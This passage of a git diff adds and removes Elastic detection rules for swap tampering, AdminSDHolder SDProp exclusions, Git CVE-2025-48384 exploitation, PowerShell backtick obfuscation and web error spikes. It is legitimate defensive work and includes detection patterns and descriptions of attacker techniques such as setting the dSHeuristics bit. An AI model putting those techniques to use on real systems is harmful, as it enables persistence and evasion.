a legitimate or suspicious parent process.\n- Examine the command line arguments captured in process.command_line to understand the specific changes made to swap settings, such as modifications to vm.swappiness.\n- Check the user account associated with the process to determine if the action was performed by a privileged or unauthorized user.\n- Investigate any recent system performance issues or anomalies that could be linked to swap modifications, such as increased CPU or memory usage.\n- Correlate the event with other security alerts or logs to identify if this activity is part of a larger pattern of suspicious behavior, such as the presence of cryptomining software like XMRig.\n- Assess the system for any unauthorized software installations or configurations that could indicate a compromise, focusing on resource-intensive applications.\n\n### False positive analysis\n\n- System administrators may frequently modify swap settings during routine maintenance or performance tuning. To handle this, create exceptions for known administrator accounts or specific maintenance scripts.\n- Automated configuration management tools like Ansible or Puppet might execute commands that alter swap settings. Identify these tools and exclude their processes from triggering alerts.\n- Some legitimate applications may adjust swap settings to optimize their performance. Monitor and whitelist these applications to prevent unnecessary alerts.\n- Development environments often experiment with system settings, including swap configurations. Consider excluding processes from known development environments or specific user accounts associated with development activities.\n- Scheduled tasks or cron jobs might include swap modification commands for system optimization. Review and whitelist these tasks if they are verified as non-threatening.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further spread or impact of the potential malware.\n- Terminate any suspicious processes identified by the detection rule, such as those involving \"swapon\", \"swapoff\", or unauthorized modifications to \"vm.swappiness\".\n- Conduct a thorough scan of the isolated system using updated antivirus or anti-malware tools to identify and remove any malicious software, particularly cryptominers like XMRig.\n- Review and restore swap settings to their default or secure configurations to ensure system stability and performance.\n- Implement monitoring for any further unauthorized changes to swap settings or related processes to detect and respond to similar threats promptly.\n- Escalate the incident to the security operations team for a detailed forensic analysis to understand the scope and origin of the attack.\n- Update system and security patches to close any vulnerabilities that may have been exploited by the adversary.", - "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"exec_event\", \"start\") and\nprocess.parent.executable != null and\nprocess.name in (\"swapon\", \"swapoff\") or (\n process.command_line like (\"*vm.swappiness*\", \"*/proc/sys/vm/swappiness*\") and (\n (process.name == \"sysctl\" and process.args like (\"*-w*\", \"*--write*\", \"*=*\")) or\n (\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and process.args == \"-c\" and\n process.command_line like \"*echo *\"\n )\n )\n) and\nnot process.parent.name in (\"lynis\", \"systemd\", \"end-zram-swapping\", \"SyxsenseResponder\", \"tuned\", \"platform-python\", \"timeout\")\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - }, - { - "package": "sentinel_one_cloud_funnel", - "version": "^1.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.command_line", - "type": "wildcard" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.executable", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.name", - "type": "keyword" - } - ], - "risk_score": 21, - "rule_id": "5e4023e7-6357-4061-ae1c-9df33e78c674", - "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\n\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\n\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Impact", - "Tactic: Execution", - "Data Source: Elastic Defend", - "Data Source: SentinelOne", - "Data Source: Elastic Endgame", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0040", - "name": "Impact", - "reference": "https://attack.mitre.org/tactics/TA0040/" - }, - "technique": [ - { - "id": "T1496", - "name": "Resource Hijacking", - "reference": "https://attack.mitre.org/techniques/T1496/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.004", - "name": "Unix Shell", - "reference": "https://attack.mitre.org/techniques/T1059/004/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 103 - }, - "id": "5e4023e7-6357-4061-ae1c-9df33e78c674_103", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/61d29caf-6c15-4d1e-9ccb-7ad12ccc0bc7_217.json b/packages/security_detection_engine/kibana/security_rule/61d29caf-6c15-4d1e-9ccb-7ad12ccc0bc7_217.json new file mode 100644 index 00000000000..a3e793be583 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/61d29caf-6c15-4d1e-9ccb-7ad12ccc0bc7_217.json @@ -0,0 +1,103 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies a modification on the dsHeuristics attribute on the bit that holds the configuration of groups excluded from the SDProp process. The SDProp compares the permissions on protected objects with those defined on the AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, the permissions on the protected accounts and groups are reset to match those of the domain's AdminSDHolder object, meaning that groups excluded will remain unchanged. Attackers can abuse this misconfiguration to maintain long-term access to privileged accounts in these groups.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "AdminSDHolder SDProp Exclusion Added", + "note": "## Triage and analysis\n\n### Investigating AdminSDHolder SDProp Exclusion Added\n\nThe SDProp process compares the permissions on protected objects with those defined on the AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, it resets the permissions on the protected accounts and groups to match those defined in the domain AdminSDHolder object.\n\nThe dSHeuristics is a Unicode string attribute, in which each character in the string represents a heuristic that is used to determine the behavior of Active Directory.\n\nAdministrators can use the dSHeuristics attribute to exclude privilege groups from the SDProp process by setting the 16th bit (dwAdminSDExMask) of the string to a certain value, which represents the group(s):\n\n- For example, to exclude the Account Operators group, an administrator would modify the string, so the 16th character is set to 1 (i.e., 0000000001000001).\n\nThe usage of this exclusion can leave the accounts unprotected and facilitate the misconfiguration of privileges for the excluded groups, enabling attackers to add accounts to these groups to maintain long-term persistence with high privileges.\n\nThis rule matches changes of the dsHeuristics object where the 16th bit is set to a value other than zero.\n\n#### Possible investigation steps\n\n- Identify the user account that performed the action and whether it should perform this kind of action.\n- Contact the account and system owners and confirm whether they are aware of this activity.\n- Investigate other alerts associated with the user/host during the past 48 hours.\n- Check the value assigned to the 16th bit of the string on the `winlog.event_data.AttributeValue` field:\n - Account Operators eq 1\n - Server Operators eq 2\n - Print Operators eq 4\n - Backup Operators eq 8\n The field value can range from 0 to f (15). If more than one group is specified, the values will be summed together; for example, Backup Operators and Print Operators will set the `c` value on the bit.\n\n### False positive analysis\n\n- While this modification can be done legitimately, it is not a best practice. Any potential benign true positive (B-TP) should be mapped and reviewed by the security team for alternatives as this weakens the security of the privileged group.\n\n### Response and remediation\n\n- The change can be reverted by setting the dwAdminSDExMask (16th bit) to 0 in dSHeuristics.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "any where host.os.type == \"windows\" and event.code == \"5136\" and\n winlog.event_data.AttributeLDAPDisplayName : \"dSHeuristics\" and\n length(winlog.event_data.AttributeValue) > 15 and\n winlog.event_data.AttributeValue regex~ \"[0-9]{15}([1-9a-f]).*\"\n", + "references": [ + "https://www.cert.ssi.gouv.fr/uploads/guide-ad.html#dsheuristics_bad", + "https://petri.com/active-directory-security-understanding-adminsdholder-object" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.AttributeLDAPDisplayName", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.AttributeValue", + "type": "unknown" + } + ], + "risk_score": 73, + "rule_id": "61d29caf-6c15-4d1e-9ccb-7ad12ccc0bc7", + "setup": "## Setup\n\nThe 'Audit Directory Service Changes' logging policy must be configured for (Success).\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nPolicies >\nWindows Settings >\nSecurity Settings >\nAdvanced Audit Policies Configuration >\nAudit Policies >\nDS Access >\nAudit Directory Service Changes (Success)\n```\n", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Data Source: Active Directory", + "Resources: Investigation Guide", + "Use Case: Active Directory Monitoring", + "Data Source: Windows Security Event Logs" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/", + "subtechnique": [ + { + "id": "T1078.002", + "name": "Domain Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/002/" + } + ] + }, + { + "id": "T1098", + "name": "Account Manipulation", + "reference": "https://attack.mitre.org/techniques/T1098/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 217 + }, + "id": "61d29caf-6c15-4d1e-9ccb-7ad12ccc0bc7_217", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/640f0535-f784-4010-b999-39db99d2daeb_1.json b/packages/security_detection_engine/kibana/security_rule/640f0535-f784-4010-b999-39db99d2daeb_1.json new file mode 100644 index 00000000000..9fff5b7317c --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/640f0535-f784-4010-b999-39db99d2daeb_1.json @@ -0,0 +1,123 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects potential exploitation of CVE-2025-48384 via Git. This vulnerability allows attackers to execute arbitrary code by leveraging Git's recursive clone feature to fetch and execute malicious scripts from a remote repository.", + "from": "now-9m", + "index": [ + "auditbeat-*", + "logs-crowdstrike.fdr*", + "logs-auditd_manager.auditd-*", + "logs-endpoint.events.process*", + "logs-sentinel_one_cloud_funnel.*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Potential Git CVE-2025-48384 Exploitation", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Git CVE-2025-48384 Exploitation\n\nThis rule flags a Git recursive clone from an HTTP(S) remote followed moments later by a shell spawned by Git\u2014clear evidence of CVE-2025-48384 abuse enabling arbitrary code execution on Linux or macOS. An attacker ships a repository whose submodules or hooks pull and run a bash script during --recursive clone, causing Git to invoke a shell and execute their payload on a developer endpoint.\n\n### Possible investigation steps\n\n- Extract the remote URL and parameters from the git invocation and review .gitmodules to enumerate submodules, then assess the domain/account reputation and recent commits for signs of a malicious repo or takeover.\n- Inspect the cloned repository for hook execution vectors by reviewing .git/hooks and any core.hooksPath overrides for newly created or modified executables (post-checkout/post-merge/post-update), noting contents and timestamps.\n- Analyze the spawned shell\u2019s lineage, command line, working directory, and any script or binary launched to identify the payload, compute hashes, and correlate with concurrent outbound connections or file writes.\n- Pivot on the repo URL, hooks filenames, and payload hash across hosts to identify other impacted endpoints, and verify whether this activity aligns with expected developer workflows or CI jobs to rule out benign use.\n- Examine the endpoint for follow-on changes suggesting execution or persistence (new cron/LaunchAgents entries, modified shell profiles, new SSH keys or credentials files, unusual PATH or gitconfig changes), and collect artifacts for forensic review.\n\n### False positive analysis\n\n- Legitimate organization-wide or user-level Git hooks installed via core.hooksPath or templates run a post-checkout bootstrap shell script after a recursive HTTP or HTTPS clone, causing git to spawn a shell as a child process.\n- During a recursive HTTP or HTTPS clone, Git invokes a credential or askpass helper implemented as a shell script for authentication, resulting in a benign sh/bash child of the git process.\n\n### Response and remediation\n\n- Immediately isolate any host where git clone --recursive from an HTTP(S) URL spawned a shell, terminate the git process tree (bash/sh and curl/wget/python children) launched from the cloned path, and block the repository domain on your proxy and Git hosting.\n- Quarantine the cloned directory and its .git folder, preserve .gitmodules, .git/hooks, and any core.hooksPath target for forensics, then remove executable hooks (post-checkout/post-merge/post-update) and delete the repository and downloaded payload scripts.\n- Rotate credentials available to the user (replace ~/.ssh keys and clear ~/.git-credentials/osxkeychain/libsecret), and eradicate persistence by removing new cron entries, LaunchAgents/LaunchDaemons, modified shell profiles (~/.bashrc, ~/.zshrc), and unexpected PATH or gitconfig changes.\n- Scope and recover by hunting for the same remote URL, hook names, and payload hashes across endpoints and CI runners, reimaging or restoring clean baselines before returning systems to service.\n- Escalate to incident command if multiple hosts show a git->shell chain from the same repository, if the payload invoked sudo or wrote to /etc/cron* or /Library/LaunchDaemons, or if outbound transfers occur to the repo\u2019s domain or newly contacted IPs.\n- Upgrade Git to a patched release for CVE-2025-48384, enforce core.hooksPath to a read-only allowlisted directory, disable recursive submodule cloning by default (submodule.recurse=false), restrict protocols (protocol.file.allow=never; allow only https/ssh), and block clones from untrusted domains in developer and CI environments.\n", + "query": "sequence by host.id with maxspan=1m\n [process where host.os.type in (\"linux\", \"macos\") and event.type == \"start\" and event.action in (\"exec\", \"executed\", \"process_started\", \"start\", \"ProcessRollup2\") and\n process.name == \"git\" and process.args == \"clone\" and process.args == \"--recursive\" and process.args like~ \"http*\"] by process.entity_id\n [process where host.os.type in (\"linux\", \"macos\") and event.type == \"start\" and event.action in (\"exec\", \"executed\", \"process_started\", \"start\", \"ProcessRollup2\") and\n process.name in (\n \"dash\", \"sh\", \"static-sh\", \"bash\", \"bash-static\", \"zsh\", \"ash\", \"csh\", \"ksh\", \"tcsh\", \"busybox\", \"fish\", \"ksh93\", \"rksh\",\n \"rksh93\", \"lksh\", \"mksh\", \"mksh-static\", \"csharp\", \"posh\", \"rc\", \"sash\", \"yash\", \"zsh5\", \"zsh5-static\"\n )] by process.parent.entity_id\n", + "references": [ + "https://www.kucoin.com/zh-hant/blog/en-breaking-lazarus-group-apt38-targets-crypto-sector-with-sophisticated-phishing-campaign", + "https://securitylabs.datadoghq.com/articles/git-arbitrary-file-write/", + "https://github.com/acheong08/CVE-2025-48384" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "auditd_manager", + "version": "^1.0.0" + }, + { + "package": "sentinel_one_cloud_funnel", + "version": "^1.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.entity_id", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "640f0535-f784-4010-b999-39db99d2daeb", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "OS: macOS", + "Use Case: Threat Detection", + "Tactic: Execution", + "Data Source: Elastic Defend", + "Data Source: Auditd Manager", + "Data Source: SentinelOne", + "Data Source: Crowdstrike", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1203", + "name": "Exploitation for Client Execution", + "reference": "https://attack.mitre.org/techniques/T1203/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 1 + }, + "id": "640f0535-f784-4010-b999-39db99d2daeb_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/64f17c52-6c6e-479e-ba72-236f3df18f3d_3.json b/packages/security_detection_engine/kibana/security_rule/64f17c52-6c6e-479e-ba72-236f3df18f3d_3.json deleted file mode 100644 index c298d1d0f44..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/64f17c52-6c6e-479e-ba72-236f3df18f3d_3.json +++ /dev/null @@ -1,81 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies PowerShell scripts that use invalid escape sequences as a form of obfuscation. This technique introduces backticks (`) between characters in a way that does not correspond to valid PowerShell escape sequences, breaking up strings and bypassing pattern-based detections while preserving execution logic. This is designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI).", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential PowerShell Obfuscation via Invalid Escape Sequences", - "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential PowerShell Obfuscation via Invalid Escape Sequences\n\nPowerShell, a powerful scripting language in Windows environments, can be exploited by adversaries using obfuscation techniques to evade detection. By inserting invalid escape sequences, attackers can obscure malicious scripts, bypassing static analysis and security tools like AMSI. The detection rule identifies such obfuscation by analyzing script patterns, specifically targeting unusual backtick usage, to flag potential threats.\n\n### Possible investigation steps\n\n- Review the `powershell.file.script_block_text` field to understand the context and content of the script block that triggered the alert. Look for patterns of invalid escape sequences and assess whether they appear intentionally obfuscated.\n- Examine the `file.name` and `file.path` fields to determine the origin and location of the script. This can help identify whether the script is part of a legitimate application or potentially malicious.\n- Check the `host.name` and `agent.id` fields to identify the affected system and the agent responsible for logging the event. This information is crucial for understanding the scope of the potential threat.\n- Analyze the `user.id` field to ascertain which user executed the script. This can provide insights into whether the user has a history of executing suspicious scripts or if their account may be compromised.\n- Investigate the `powershell.file.script_block_id` and `powershell.sequence` fields to trace the execution sequence and correlate it with other related script blocks, which may reveal additional obfuscation or malicious activity.\n- Assess the `count` field to evaluate the extent of obfuscation detected. A higher count may indicate more aggressive obfuscation techniques, warranting further scrutiny.\n\n### False positive analysis\n\n- Scripts from Visual Studio Code's PowerShell extension may trigger false positives due to its shell integration. To handle this, exclude scripts containing the pattern \"$([char]0x1b)]633\" from detection.\n- PowerShell modules with names starting with \"TSS_\" may be flagged incorrectly. Exclude these by adding a condition to ignore files matching the pattern \"TSS_*.psm1\".\n- Legitimate scripts that use backticks for formatting or other non-obfuscation purposes might be detected. Review such scripts and, if verified as safe, add them to an exception list based on their script block ID or file path.\n- Regularly update the exclusion list to reflect changes in legitimate script usage patterns, ensuring that new false positives are addressed promptly.\n\n### Response and remediation\n\n- Isolate the affected host immediately to prevent lateral movement and further execution of potentially malicious scripts. Disconnect the host from the network and disable remote access.\n\n- Analyze the script block text and file path to identify the source and nature of the obfuscated script. Determine if the script is part of a larger attack or if other systems are affected.\n\n- Remove or quarantine the identified malicious script and any associated files from the host. Ensure that all remnants of the obfuscated code are eliminated to prevent re-execution.\n\n- Conduct a thorough scan of the host using updated antivirus and antimalware tools to detect and remove any additional threats or indicators of compromise.\n\n- Review and update PowerShell execution policies and security settings to restrict the execution of scripts with invalid escape sequences. Implement stricter controls to prevent similar obfuscation techniques.\n\n- Escalate the incident to the security operations center (SOC) or relevant cybersecurity team for further investigation and monitoring. Provide detailed logs and findings to assist in understanding the scope and impact of the threat.\n\n- Implement enhanced logging and monitoring for PowerShell activities across the network to detect and respond to similar obfuscation attempts promptly. Use the identified patterns to refine detection capabilities.\n", - "query": "FROM logs-windows.powershell_operational* metadata _id, _version, _index\n| WHERE event.code == \"4104\" and powershell.file.script_block_text LIKE \"*`*\"\n\n// Replace string format expressions with \ud83d\udd25 to enable counting the occurrence of the patterns we are looking for\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| EVAL replaced_with_fire = REPLACE(powershell.file.script_block_text, \"\"\"[A-Za-z0-9_-]`(?![rntb]|\\r|\\n|\\d)[A-Za-z0-9_-]\"\"\", \"\ud83d\udd25\")\n\n// Count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| EVAL count = LENGTH(replaced_with_fire) - LENGTH(REPLACE(replaced_with_fire, \"\ud83d\udd25\", \"\"))\n\n// Keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| KEEP count, replaced_with_fire, powershell.file.script_block_text, powershell.file.script_block_id, file.name, file.path, powershell.sequence, powershell.total, _id, _index, host.name, agent.id, user.id\n| WHERE count >= 10\n\n// Filter FPs, and due to the behavior of the LIKE operator, allow null values\n| WHERE (file.name NOT LIKE \"TSS_*.psm1\" or file.name IS NULL)\n\n| WHERE\n // VSCode Shell integration\n NOT powershell.file.script_block_text LIKE \"*$([char]0x1b)]633*\"\n", - "related_integrations": [ - { - "package": "windows", - "version": "^3.0.0" - } - ], - "risk_score": 21, - "rule_id": "64f17c52-6c6e-479e-ba72-236f3df18f3d", - "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Defense Evasion", - "Data Source: PowerShell Logs", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1027", - "name": "Obfuscated Files or Information", - "reference": "https://attack.mitre.org/techniques/T1027/" - }, - { - "id": "T1140", - "name": "Deobfuscate/Decode Files or Information", - "reference": "https://attack.mitre.org/techniques/T1140/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.001", - "name": "PowerShell", - "reference": "https://attack.mitre.org/techniques/T1059/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 3 - }, - "id": "64f17c52-6c6e-479e-ba72-236f3df18f3d_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/6631a759-4559-4c33-a392-13f146c8bcc4_1.json b/packages/security_detection_engine/kibana/security_rule/6631a759-4559-4c33-a392-13f146c8bcc4_1.json new file mode 100644 index 00000000000..7da5580cc45 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/6631a759-4559-4c33-a392-13f146c8bcc4_1.json @@ -0,0 +1,112 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects unusual spikes in error logs from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited.", + "from": "now-9m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential Spike in Web Server Error Logs", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Spike in Web Server Error Logs\n\nThis detection flags spikes of web server error responses across HTTP/TLS and common server platforms, signaling active scanning or fuzzing that can expose misconfigurations or exploitable paths. A typical pattern is an automated scanner sweeping endpoints like /admin/, /debug/, /.env, /.git, and backup archives while mutating query parameters, producing repeated 404/403 and occasional 500 responses across multiple applications within minutes.\n\n### Possible investigation steps\n\n- Pivot on the noisy client IP(s) to build a minute-by-minute timeline across affected hosts showing request rate, status codes, methods, and top paths to distinguish automated scanning from a localized application failure.\n- Enrich the client with ASN, geolocation, hosting/Tor/proxy reputation, historical sightings, and maintenance windows to quickly decide if it matches a known external scanner or an internal scheduled test.\n- Aggregate the most requested URIs and verbs and look for telltale patterns such as /.env, /.git, backup archives, admin consoles, or unusual verbs like PROPFIND/TRACE, then correlate any 5xx bursts with application and server error logs and recent deploys or config changes.\n- Hunt for follow-on success from the same client by checking for subsequent 200/302s to sensitive paths, authentication events and session creation, or evidence of file writes and suspicious child processes on the web hosts.\n- If traffic traverses a CDN/WAF/load balancer, pivot to those logs to recover true client IPs, review rule matches and throttling, and determine whether similar patterns occurred across multiple edges or regions.\n\n### False positive analysis\n\n- Internal QA or integration tests that systematically crawl application routes after a deployment can generate bursts of 404/403 and occasional 500s from a single client IP, closely resembling active scanning.\n- A transient backend outage or misconfiguration (broken asset paths or auth flows) can cause legitimate traffic to return many errors aggregated under a shared egress IP (NAT), pushing per-IP counts above the threshold without adversary activity.\n\n### Response and remediation\n\n- Immediately block or throttle the noisy client IPs at the WAF/CDN and load balancer by enabling per-IP rate limits and signatures for scanner patterns such as repeated hits to /.env, /.git, /admin, backup archives, or unusual verbs like PROPFIND/TRACE.\n- If errors include concentrated 5xx responses from one web host, drain that node from service behind the load balancer, capture its web and application error logs, and roll back the most recent deploy or config change until error rates normalize.\n- Remove risky exposures uncovered by the scan by denying access to environment files and VCS directories (.env, .git), disabling directory listing, locking down admin consoles, and rejecting unsupported HTTP methods at the web server.\n- Escalate to Incident Response if the same client shifts from errors to successful access on sensitive endpoints (200/302 to /admin, /login, or API keys), if you observe file writes under the webroot or suspicious child processes, or if multiple unrelated clients show the same pattern across regions.\n- Recover service by redeploying known-good builds, re-enabling health checks, running smoke tests against top routes, and restoring normal WAF/CDN policies while keeping a temporary blocklist for the offending IPs.\n- Harden long term by tuning WAF/CDN to auto-throttle bursty 404/403/500 patterns, disabling TRACE/OPTIONS where unused, minimizing verbose error pages, and ensuring logs capture the true client IP via X-Forwarded-For or True-Client-IP headers.\n", + "query": "from logs-nginx.error-*, logs-apache_tomcat.error-*, logs-apache.error-*, logs-iis.error-*\n| keep\n @timestamp,\n event.type,\n event.dataset,\n source.ip,\n agent.id,\n host.name\n| where source.ip is not null\n| stats\n Esql.event_count = count(),\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id),\n Esql.event_dataset_values = values(event.dataset)\n by source.ip, agent.id\n| where\n Esql.event_count > 25\n", + "related_integrations": [ + { + "package": "nginx", + "version": "^2.0.0" + }, + { + "package": "apache", + "version": "^2.0.0" + }, + { + "package": "apache_tomcat", + "version": "^1.0.0" + }, + { + "package": "iis", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.agent_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_dataset_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.host_name_values", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + } + ], + "risk_score": 21, + "rule_id": "6631a759-4559-4c33-a392-13f146c8bcc4", + "severity": "low", + "tags": [ + "Domain: Web", + "Use Case: Threat Detection", + "Tactic: Reconnaissance", + "Data Source: Nginx", + "Data Source: Apache", + "Data Source: Apache Tomcat", + "Data Source: IIS", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0043", + "name": "Reconnaissance", + "reference": "https://attack.mitre.org/tactics/TA0043/" + }, + "technique": [ + { + "id": "T1595", + "name": "Active Scanning", + "reference": "https://attack.mitre.org/techniques/T1595/", + "subtechnique": [ + { + "id": "T1595.002", + "name": "Vulnerability Scanning", + "reference": "https://attack.mitre.org/techniques/T1595/002/" + }, + { + "id": "T1595.003", + "name": 